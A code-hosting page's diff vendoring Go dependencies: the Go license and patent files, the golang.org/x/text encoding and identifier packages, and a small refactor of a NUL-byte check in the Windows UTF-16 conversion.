||||
|
||||
const _C__NSIG = 0x41
|
||||
|
||||
type Siginfo struct {
|
||||
Signo int32
|
||||
Errno int32
|
||||
Code int32
|
||||
_ int32
|
||||
_ [112]byte
|
||||
}
|
||||
|
||||
type Termios struct {
|
||||
Iflag uint32
|
||||
Oflag uint32
|
||||
|
||||
+3
-4
@@ -10,6 +10,7 @@ import (
|
||||
errorspkg "errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
@@ -86,10 +87,8 @@ func StringToUTF16(s string) []uint16 {
|
||||
// s, with a terminating NUL added. If s contains a NUL byte at any
|
||||
// location, it returns (nil, syscall.EINVAL).
|
||||
func UTF16FromString(s string) ([]uint16, error) {
|
||||
for i := 0; i < len(s); i++ {
|
||||
if s[i] == 0 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
if strings.IndexByte(s, 0) != -1 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
return utf16.Encode([]rune(s + "\x00")), nil
|
||||
}
|
||||
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
# This source code refers to The Go Authors for copyright purposes.
|
||||
# The master list of authors is in the main Go distribution,
|
||||
# visible at http://tip.golang.org/AUTHORS.
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
# This source code was written by the Go contributors.
|
||||
# The master list of contributors is in the main Go distribution,
|
||||
# visible at http://tip.golang.org/CONTRIBUTORS.
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
Additional IP Rights Grant (Patents)
|
||||
|
||||
"This implementation" means the copyrightable works distributed by
|
||||
Google as part of the Go project.
|
||||
|
||||
Google hereby grants to You a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable (except as stated in this section)
|
||||
patent license to make, have made, use, offer to sell, sell, import,
|
||||
transfer and otherwise run, modify and propagate the contents of this
|
||||
implementation of Go, where such license applies only to those patent
|
||||
claims, both currently owned or controlled by Google and acquired in
|
||||
the future, licensable by Google that are necessarily infringed by this
|
||||
implementation of Go. This grant does not include claims that would be
|
||||
infringed only as a consequence of further modification of this
|
||||
implementation. If you or your agent or exclusive licensee institute or
|
||||
order or agree to the institution of patent litigation against any
|
||||
entity (including a cross-claim or counterclaim in a lawsuit) alleging
|
||||
that this implementation of Go or any code incorporated within this
|
||||
implementation of Go constitutes direct or contributory patent
|
||||
infringement, or inducement of patent infringement, then any patent
|
||||
rights granted to you under this License for this implementation of Go
|
||||
shall terminate as of the date such litigation is filed.
|
||||
+335
@@ -0,0 +1,335 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package encoding defines an interface for character encodings, such as Shift
|
||||
// JIS and Windows 1252, that can convert to and from UTF-8.
|
||||
//
|
||||
// Encoding implementations are provided in other packages, such as
|
||||
// golang.org/x/text/encoding/charmap and
|
||||
// golang.org/x/text/encoding/japanese.
|
||||
package encoding // import "golang.org/x/text/encoding"
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"strconv"
|
||||
"unicode/utf8"
|
||||
|
||||
"golang.org/x/text/encoding/internal/identifier"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// TODO:
|
||||
// - There seems to be some inconsistency in when decoders return errors
|
||||
// and when not. Also documentation seems to suggest they shouldn't return
|
||||
// errors at all (except for UTF-16).
|
||||
// - Encoders seem to rely on or at least benefit from the input being in NFC
|
||||
// normal form. Perhaps add an example how users could prepare their output.
|
||||
|
||||
// Encoding is a character set encoding that can be transformed to and from
|
||||
// UTF-8.
|
||||
type Encoding interface {
|
||||
// NewDecoder returns a Decoder.
|
||||
NewDecoder() *Decoder
|
||||
|
||||
// NewEncoder returns an Encoder.
|
||||
NewEncoder() *Encoder
|
||||
}
|
||||
|
||||
// A Decoder converts bytes to UTF-8. It implements transform.Transformer.
|
||||
//
|
||||
// Transforming source bytes that are not of that encoding will not result in an
|
||||
// error per se. Each byte that cannot be transcoded will be represented in the
|
||||
// output by the UTF-8 encoding of '\uFFFD', the replacement rune.
|
||||
type Decoder struct {
|
||||
transform.Transformer
|
||||
|
||||
// This forces external creators of Decoders to use names in struct
|
||||
// initializers, allowing for future extendibility without having to break
|
||||
// code.
|
||||
_ struct{}
|
||||
}
|
||||
|
||||
// Bytes converts the given encoded bytes to UTF-8. It returns the converted
|
||||
// bytes or nil, err if any error occurred.
|
||||
func (d *Decoder) Bytes(b []byte) ([]byte, error) {
|
||||
b, _, err := transform.Bytes(d, b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// String converts the given encoded string to UTF-8. It returns the converted
|
||||
// string or "", err if any error occurred.
|
||||
func (d *Decoder) String(s string) (string, error) {
|
||||
s, _, err := transform.String(d, s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Reader wraps another Reader to decode its bytes.
|
||||
//
|
||||
// The Decoder may not be used for any other operation as long as the returned
|
||||
// Reader is in use.
|
||||
func (d *Decoder) Reader(r io.Reader) io.Reader {
|
||||
return transform.NewReader(r, d)
|
||||
}
|
||||
|
||||
// An Encoder converts bytes from UTF-8. It implements transform.Transformer.
|
||||
//
|
||||
// Each rune that cannot be transcoded will result in an error. In this case,
|
||||
// the transform will consume all source byte up to, not including the offending
|
||||
// rune. Transforming source bytes that are not valid UTF-8 will be replaced by
|
||||
// `\uFFFD`. To return early with an error instead, use transform.Chain to
|
||||
// preprocess the data with a UTF8Validator.
|
||||
type Encoder struct {
|
||||
transform.Transformer
|
||||
|
||||
// This forces external creators of Encoders to use names in struct
|
||||
// initializers, allowing for future extendibility without having to break
|
||||
// code.
|
||||
_ struct{}
|
||||
}
|
||||
|
||||
// Bytes converts bytes from UTF-8. It returns the converted bytes or nil, err if
|
||||
// any error occurred.
|
||||
func (e *Encoder) Bytes(b []byte) ([]byte, error) {
|
||||
b, _, err := transform.Bytes(e, b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// String converts a string from UTF-8. It returns the converted string or
|
||||
// "", err if any error occurred.
|
||||
func (e *Encoder) String(s string) (string, error) {
|
||||
s, _, err := transform.String(e, s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Writer wraps another Writer to encode its UTF-8 output.
|
||||
//
|
||||
// The Encoder may not be used for any other operation as long as the returned
|
||||
// Writer is in use.
|
||||
func (e *Encoder) Writer(w io.Writer) io.Writer {
|
||||
return transform.NewWriter(w, e)
|
||||
}
|
||||
|
||||
// ASCIISub is the ASCII substitute character, as recommended by
|
||||
// https://unicode.org/reports/tr36/#Text_Comparison
|
||||
const ASCIISub = '\x1a'
|
||||
|
||||
// Nop is the nop encoding. Its transformed bytes are the same as the source
|
||||
// bytes; it does not replace invalid UTF-8 sequences.
|
||||
var Nop Encoding = nop{}
|
||||
|
||||
type nop struct{}
|
||||
|
||||
func (nop) NewDecoder() *Decoder {
|
||||
return &Decoder{Transformer: transform.Nop}
|
||||
}
|
||||
func (nop) NewEncoder() *Encoder {
|
||||
return &Encoder{Transformer: transform.Nop}
|
||||
}
|
||||
|
||||
// Replacement is the replacement encoding. Decoding from the replacement
|
||||
// encoding yields a single '\uFFFD' replacement rune. Encoding from UTF-8 to
|
||||
// the replacement encoding yields the same as the source bytes except that
|
||||
// invalid UTF-8 is converted to '\uFFFD'.
|
||||
//
|
||||
// It is defined at http://encoding.spec.whatwg.org/#replacement
|
||||
var Replacement Encoding = replacement{}
|
||||
|
||||
type replacement struct{}
|
||||
|
||||
func (replacement) NewDecoder() *Decoder {
|
||||
return &Decoder{Transformer: replacementDecoder{}}
|
||||
}
|
||||
|
||||
func (replacement) NewEncoder() *Encoder {
|
||||
return &Encoder{Transformer: replacementEncoder{}}
|
||||
}
|
||||
|
||||
func (replacement) ID() (mib identifier.MIB, other string) {
|
||||
return identifier.Replacement, ""
|
||||
}
|
||||
|
||||
type replacementDecoder struct{ transform.NopResetter }
|
||||
|
||||
func (replacementDecoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if len(dst) < 3 {
|
||||
return 0, 0, transform.ErrShortDst
|
||||
}
|
||||
if atEOF {
|
||||
const fffd = "\ufffd"
|
||||
dst[0] = fffd[0]
|
||||
dst[1] = fffd[1]
|
||||
dst[2] = fffd[2]
|
||||
nDst = 3
|
||||
}
|
||||
return nDst, len(src), nil
|
||||
}
|
||||
|
||||
type replacementEncoder struct{ transform.NopResetter }
|
||||
|
||||
func (replacementEncoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
r, size := rune(0), 0
|
||||
|
||||
for ; nSrc < len(src); nSrc += size {
|
||||
r = rune(src[nSrc])
|
||||
|
||||
// Decode a 1-byte rune.
|
||||
if r < utf8.RuneSelf {
|
||||
size = 1
|
||||
|
||||
} else {
|
||||
// Decode a multi-byte rune.
|
||||
r, size = utf8.DecodeRune(src[nSrc:])
|
||||
if size == 1 {
|
||||
// All valid runes of size 1 (those below utf8.RuneSelf) were
|
||||
// handled above. We have invalid UTF-8 or we haven't seen the
|
||||
// full character yet.
|
||||
if !atEOF && !utf8.FullRune(src[nSrc:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
r = '\ufffd'
|
||||
}
|
||||
}
|
||||
|
||||
if nDst+utf8.RuneLen(r) > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
nDst += utf8.EncodeRune(dst[nDst:], r)
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
// HTMLEscapeUnsupported wraps encoders to replace source runes outside the
|
||||
// repertoire of the destination encoding with HTML escape sequences.
|
||||
//
|
||||
// This wrapper exists to comply to URL and HTML forms requiring a
|
||||
// non-terminating legacy encoder. The produced sequences may lead to data
|
||||
// loss as they are indistinguishable from legitimate input. To avoid this
|
||||
// issue, use UTF-8 encodings whenever possible.
|
||||
func HTMLEscapeUnsupported(e *Encoder) *Encoder {
|
||||
return &Encoder{Transformer: &errorHandler{e, errorToHTML}}
|
||||
}
|
||||
|
||||
// ReplaceUnsupported wraps encoders to replace source runes outside the
|
||||
// repertoire of the destination encoding with an encoding-specific
|
||||
// replacement.
|
||||
//
|
||||
// This wrapper is only provided for backwards compatibility and legacy
|
||||
// handling. Its use is strongly discouraged. Use UTF-8 whenever possible.
|
||||
func ReplaceUnsupported(e *Encoder) *Encoder {
|
||||
return &Encoder{Transformer: &errorHandler{e, errorToReplacement}}
|
||||
}
|
||||
|
||||
type errorHandler struct {
|
||||
*Encoder
|
||||
handler func(dst []byte, r rune, err repertoireError) (n int, ok bool)
|
||||
}
|
||||
|
||||
// TODO: consider making this error public in some form.
|
||||
type repertoireError interface {
|
||||
Replacement() byte
|
||||
}
|
||||
|
||||
func (h errorHandler) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
nDst, nSrc, err = h.Transformer.Transform(dst, src, atEOF)
|
||||
for err != nil {
|
||||
rerr, ok := err.(repertoireError)
|
||||
if !ok {
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
r, sz := utf8.DecodeRune(src[nSrc:])
|
||||
n, ok := h.handler(dst[nDst:], r, rerr)
|
||||
if !ok {
|
||||
return nDst, nSrc, transform.ErrShortDst
|
||||
}
|
||||
err = nil
|
||||
nDst += n
|
||||
if nSrc += sz; nSrc < len(src) {
|
||||
var dn, sn int
|
||||
dn, sn, err = h.Transformer.Transform(dst[nDst:], src[nSrc:], atEOF)
|
||||
nDst += dn
|
||||
nSrc += sn
|
||||
}
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
func errorToHTML(dst []byte, r rune, err repertoireError) (n int, ok bool) {
|
||||
buf := [8]byte{}
|
||||
b := strconv.AppendUint(buf[:0], uint64(r), 10)
|
||||
if n = len(b) + len("&#;"); n >= len(dst) {
|
||||
return 0, false
|
||||
}
|
||||
dst[0] = '&'
|
||||
dst[1] = '#'
|
||||
dst[copy(dst[2:], b)+2] = ';'
|
||||
return n, true
|
||||
}
|
||||
|
||||
func errorToReplacement(dst []byte, r rune, err repertoireError) (n int, ok bool) {
|
||||
if len(dst) == 0 {
|
||||
return 0, false
|
||||
}
|
||||
dst[0] = err.Replacement()
|
||||
return 1, true
|
||||
}
|
||||
|
||||
// ErrInvalidUTF8 means that a transformer encountered invalid UTF-8.
|
||||
var ErrInvalidUTF8 = errors.New("encoding: invalid UTF-8")
|
||||
|
||||
// UTF8Validator is a transformer that returns ErrInvalidUTF8 on the first
|
||||
// input byte that is not valid UTF-8.
|
||||
var UTF8Validator transform.Transformer = utf8Validator{}
|
||||
|
||||
type utf8Validator struct{ transform.NopResetter }
|
||||
|
||||
func (utf8Validator) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
n := len(src)
|
||||
if n > len(dst) {
|
||||
n = len(dst)
|
||||
}
|
||||
for i := 0; i < n; {
|
||||
if c := src[i]; c < utf8.RuneSelf {
|
||||
dst[i] = c
|
||||
i++
|
||||
continue
|
||||
}
|
||||
_, size := utf8.DecodeRune(src[i:])
|
||||
if size == 1 {
|
||||
// All valid runes of size 1 (those below utf8.RuneSelf) were
|
||||
// handled above. We have invalid UTF-8 or we haven't seen the
|
||||
// full character yet.
|
||||
err = ErrInvalidUTF8
|
||||
if !atEOF && !utf8.FullRune(src[i:]) {
|
||||
err = transform.ErrShortSrc
|
||||
}
|
||||
return i, i, err
|
||||
}
|
||||
if i+size > len(dst) {
|
||||
return i, i, transform.ErrShortDst
|
||||
}
|
||||
for ; size > 0; size-- {
|
||||
dst[i] = src[i]
|
||||
i++
|
||||
}
|
||||
}
|
||||
if len(src) > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
}
|
||||
return n, n, err
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:generate go run gen.go
|
||||
|
||||
// Package identifier defines the contract between implementations of Encoding
|
||||
// and Index by defining identifiers that uniquely identify standardized coded
|
||||
// character sets (CCS) and character encoding schemes (CES), which we will
|
||||
// together refer to as encodings, for which Encoding implementations provide
|
||||
// converters to and from UTF-8. This package is typically only of concern to
|
||||
// implementers of Indexes and Encodings.
|
||||
//
|
||||
// One part of the identifier is the MIB code, which is defined by IANA and
|
||||
// uniquely identifies a CCS or CES. Each code is associated with data that
|
||||
// references authorities, official documentation as well as aliases and MIME
|
||||
// names.
|
||||
//
|
||||
// Not all CESs are covered by the IANA registry. The "other" string that is
|
||||
// returned by ID can be used to identify other character sets or versions of
|
||||
// existing ones.
|
||||
//
|
||||
// It is recommended that each package that provides a set of Encodings provide
|
||||
// the All and Common variables to reference all supported encodings and
|
||||
// commonly used subset. This allows Index implementations to include all
|
||||
// available encodings without explicitly referencing or knowing about them.
|
||||
package identifier
|
||||
|
||||
// Note: this package is internal, but could be made public if there is a need
|
||||
// for writing third-party Indexes and Encodings.
|
||||
|
||||
// References:
|
||||
// - http://source.icu-project.org/repos/icu/icu/trunk/source/data/mappings/convrtrs.txt
|
||||
// - http://www.iana.org/assignments/character-sets/character-sets.xhtml
|
||||
// - http://www.iana.org/assignments/ianacharset-mib/ianacharset-mib
|
||||
// - http://www.ietf.org/rfc/rfc2978.txt
|
||||
// - https://www.unicode.org/reports/tr22/
|
||||
// - http://www.w3.org/TR/encoding/
|
||||
// - https://encoding.spec.whatwg.org/
|
||||
// - https://encoding.spec.whatwg.org/encodings.json
|
||||
// - https://tools.ietf.org/html/rfc6657#section-5
|
||||
|
||||
// Interface can be implemented by Encodings to define the CCS or CES for which
|
||||
// it implements conversions.
|
||||
type Interface interface {
|
||||
// ID returns an encoding identifier. Exactly one of the mib and other
|
||||
// values should be non-zero.
|
||||
//
|
||||
// In the usual case it is only necessary to indicate the MIB code. The
|
||||
// other string can be used to specify encodings for which there is no MIB,
|
||||
// such as "x-mac-dingbat".
|
||||
//
|
||||
// The other string may only contain the characters a-z, A-Z, 0-9, - and _.
|
||||
ID() (mib MIB, other string)
|
||||
|
||||
// NOTE: the restrictions on the encoding are to allow extending the syntax
|
||||
// with additional information such as versions, vendors and other variants.
|
||||
}
|
||||
|
||||
// A MIB identifies an encoding. It is derived from the IANA MIB codes and adds
|
||||
// some identifiers for some encodings that are not covered by the IANA
|
||||
// standard.
|
||||
//
|
||||
// See http://www.iana.org/assignments/ianacharset-mib.
|
||||
type MIB uint16
|
||||
|
||||
// These additional MIB types are not defined in IANA. They are added because
|
||||
// they are common and defined within the text repo.
|
||||
const (
|
||||
// Unofficial marks the start of encodings not registered by IANA.
|
||||
Unofficial MIB = 10000 + iota
|
||||
|
||||
// Replacement is the WhatWG replacement encoding.
|
||||
Replacement
|
||||
|
||||
// XUserDefined is the code for x-user-defined.
|
||||
XUserDefined
|
||||
|
||||
// MacintoshCyrillic is the code for x-mac-cyrillic.
|
||||
MacintoshCyrillic
|
||||
)
|
||||
Loaded 100 of 130 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user